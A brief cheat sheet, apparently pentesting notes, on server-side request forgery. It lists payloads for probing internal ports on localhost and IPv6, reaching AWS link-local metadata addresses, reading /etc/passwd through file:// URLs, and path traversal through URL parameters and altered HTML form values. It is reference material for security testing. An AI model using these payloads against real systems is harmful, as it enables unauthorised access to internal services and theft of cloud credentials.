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Server Side Request Forgery (SSRF)

is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.

Usage

Sanity Test Service

Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.

http://127.0.0.1:3306
http://localhost:5432
http://0.0.0.0:53

IPv6

http://[::]:3306
http://:::3006

Cloud info in Link Local IP range 169.254.0.0/16

169.254.169.254 --> AWS info
169.254.169.253 --> DNS AWS VPC
169.254.169.123 --> Stratum 3 NTP
127.0.0.1:53    --> systemd DNS

Changing input format into hex or encoded

Reading files

file:///etc/passwd

Request Forgery through GET parameters

Request app server through parameter

http://<ssrf-Server>/?url=http://<AppServer>/secret/url

Request remote resources, or path traversal on remote resource

http://<ssrf-Server>/?url=/item?id=42
http://<ssrf-Server>/?url=../../etc/passwd

Request subdomain URL and cut following unnecessary parameters through &x=&id=42. Parameter x does not exist. So, it will be ignored

http://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42

HTML Form

User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.

<input type="radio" name="avatar" value="assets/avatars/6.png">

This may be used for path traversal

<input type="radio" name="avatar" value="x/../private">

Check return value of the form for result.

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